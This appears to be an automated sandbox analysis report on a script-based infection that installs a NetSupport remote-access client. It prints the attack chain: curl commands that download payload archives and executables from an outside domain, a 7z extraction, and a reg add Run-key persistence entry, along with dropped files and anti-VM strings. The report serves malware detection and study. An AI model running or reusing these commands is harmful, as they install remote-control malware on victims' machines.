Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3457728629.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000014.00000000.1161392451.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000015.00000002.1213390233.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000015.00000000.1199995240.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000017.00000000.1291215134.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000017.00000002.1295456808.0000000000732000.00000002.00000001.01000000.00000008.sdmp, client32.exe.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3480033440.0000000073D82000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000015.00000002.1220978753.0000000073D82000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000017.00000002.1299832912.0000000073D82000.00000002.00000001.01000000.0000000A.sdmp, PCICHEK.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: 7zz.exe, 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3479803837.00000000715A5000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000015.00000002.1220316229.00000000715A5000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000017.00000002.1299697297.00000000715A5000.00000002.00000001.01000000.0000000B.sdmp, pcicapi.dll.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: 7zz.exe, 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("cmd /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat", "0", "true");

Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046CC80 push eax; ret	17_2_0046CCAE
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00459590 push ecx; mov dword ptr [esp], ecx	17_2_00459591
Source: C:\ProgramData\client32.exe	Code function: 20_2_1116FF15 push ecx; ret	20_2_1116FF28

Source: 7zz.exe.8.dr	Static PE information: section name: .sxdata
Source: putty.exe.17.dr	Static PE information: section name: .00cfg
Source: putty.exe.17.dr	Static PE information: section name: .gxfg
Source: putty.exe.17.dr	Static PE information: section name: _RDATA
Source: PCICL32.DLL.17.dr	Static PE information: section name: .hhshare

Source: C:\ProgramData\client32.exe

Code function: 20_2_11029BB0 GetTickCount,LoadLibraryA,GetProcAddress,InternetCloseHandle,SetLastError,_malloc,GetProcAddress,GetLastError,_free,_malloc,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,HttpOpenRequestA,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

20_2_11029BB0

Source: initial sample

Static PE information: section name: .text entropy: 6.909044922675825

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b1.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b2.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b3.vbs	Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICHEK.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\HTCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\client32.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\putty.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\ProgramData\7zz.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\pcicapi.dll	Jump to dropped file

Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICHEK.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\HTCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\client32.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\putty.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\ProgramData\7zz.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\pcicapi.dll	Jump to dropped file

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CachedX			Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CachedX			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 5050

Source: C:\ProgramData\client32.exe	Code function: 20_2_11139ED0 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	20_2_11139ED0
Source: C:\ProgramData\client32.exe	Code function: 20_2_110C1020 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	20_2_110C1020
Source: C:\ProgramData\client32.exe	Code function: 20_2_11113380 IsIconic,GetTickCount,	20_2_11113380
Source: C:\ProgramData\client32.exe	Code function: 20_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	20_2_110CB750
Source: C:\ProgramData\client32.exe	Code function: 20_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	20_2_110CB750
Source: C:\ProgramData\client32.exe	Code function: 20_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	20_2_111236E0
Source: C:\ProgramData\client32.exe	Code function: 20_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	20_2_111236E0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11025A90 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	20_2_11025A90
Source: C:\ProgramData\client32.exe	Code function: 20_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	20_2_1115BAE0
Source: C:\ProgramData\client32.exe	Code function: 20_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	20_2_1115BAE0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11113FA0 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	20_2_11113FA0

Source: C:\ProgramData\client32.exe

20_2_11029BB0

Source: C:\ProgramData\client32.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior
Source: C:\ProgramData\client32.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior
Source: C:\ProgramData\client32.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\client32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\timeout.exe TID: 7144

Thread sleep count: 52 > 30

Source: C:\ProgramData\client32.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_20-37905

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\putty.exe	Jump to dropped file

Source: C:\ProgramData\client32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_20-36379

Source: C:\ProgramData\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

System process connects to network (likely due to code injection or exploit)

Source: C:\ProgramData\7zz.exe

Code function: 17_2_0040C5F4 GetSystemInfo,

17_2_0040C5F4

Source: C:\ProgramData\7zz.exe	Code function: 17_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,	17_2_0040B174
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0040B6E9 __EH_prolog,FindFirstFileW,GetCurrentDirectoryW,	17_2_0040B6E9
Source: C:\ProgramData\client32.exe	Code function: 20_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	20_2_111273E0
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	20_2_1102D9F4
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	20_2_1102DD21
Source: C:\ProgramData\client32.exe	Code function: 20_2_1110BD70 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	20_2_1110BD70

Source: C:\ProgramData\7zz.exe	API call chain: ExitProcess graph end node	graph_17-40841
Source: C:\ProgramData\7zz.exe	API call chain: ExitProcess graph end node	graph_17-40840
Source: C:\ProgramData\client32.exe	API call chain: ExitProcess graph end node	graph_20-38528
Source: C:\ProgramData\client32.exe	API call chain: ExitProcess graph end node	graph_20-36852

Source: HTCTL32.DLL.17.dr	Binary or memory string: VMware
Source: HTCTL32.DLL.17.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.17.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: wscript.exe, 00000000.00000002.1238903873.000002C2E18F0000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3464912499.0000000005F83000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1219285127.0000000005F62000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3464912499.0000000005F5E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3459526690.000000000127E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1223435505.0000000005F64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HTCTL32.DLL.17.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: client32.exe, 00000017.00000003.1295079124.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllf
Source: TCCTL32.DLL.17.dr	Binary or memory string: VMWare
Source: wscript.exe, 00000000.00000002.1237996996.000002C2DEC95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1212962526.000002C2DEC91000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1229893390.000002C2DEC95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: client32.exe, 00000015.00000003.1212863929.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000015.00000002.1213877835.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllh
Source: wscript.exe, 00000000.00000002.1237996996.000002C2DEC95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1212962526.000002C2DEC91000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1229893390.000002C2DEC95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: curl.exe, 00000006.00000003.1063346751.000001E29B6E4000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1074808195.00000163AEBE2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000003.1085034209.0000020B5D404000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: client32.exe, 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.claJq*

Source: C:\ProgramData\client32.exe

Code function: 20_2_110B7F30 GetLastError,_strrchr,_strrchr,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetCurrentThreadId,wsprintfA,wsprintfA,wsprintfA,GetCurrentThreadId,wsprintfA,OutputDebugStringA,wsprintfA,wsprintfA,GetModuleFileNameA,wsprintfA,GetTempPathA,GetLocalTime,_memset,GetVersionExA,wsprintfA,wsprintfA,_fputs,_fputs,_fputs,_fputs,_fputs,_fputs,wsprintfA,_fputs,_strncat,wsprintfA,SetTimer,MessageBoxA,KillTimer,PeekMessageA,MessageBoxA,

20_2_110B7F30

Source: C:\ProgramData\client32.exe

20_2_11029BB0

Source: C:\ProgramData\client32.exe

Code function: 20_2_1117D104 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

20_2_1117D104

Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046E6AA SetUnhandledExceptionFilter,	17_2_0046E6AA
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046E6BC SetUnhandledExceptionFilter,	17_2_0046E6BC
Source: C:\ProgramData\client32.exe	Code function: 20_2_110934A0 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	20_2_110934A0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11031780 _NSMClient32@8,SetUnhandledExceptionFilter,	20_2_11031780

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

Network Connect: 188.127.230.147 443

Source: C:\ProgramData\client32.exe

Code function: 20_2_11113190 GetKeyState,DeviceIoControl,keybd_event,

20_2_11113190

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 7
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe	Jump to behavior

Source: C:\ProgramData\client32.exe

Code function: 20_2_1109E5B0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

20_2_1109E5B0

Source: C:\ProgramData\client32.exe

Code function: 20_2_1109ED30 GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

20_2_1109ED30

Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Shell_TrayWnd
Source: 7zz.exe, 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Progman

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\ProgramData\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	20_2_11174898
Source: C:\ProgramData\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	20_2_11174B29
Source: C:\ProgramData\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	20_2_11174BCC

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\ProgramData\client32.exe

Code function: 20_2_110F37A0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

20_2_110F37A0

Source: C:\ProgramData\7zz.exe

Code function: 17_2_0040C756 GetSystemTime,SystemTimeToFileTime,

17_2_0040C756

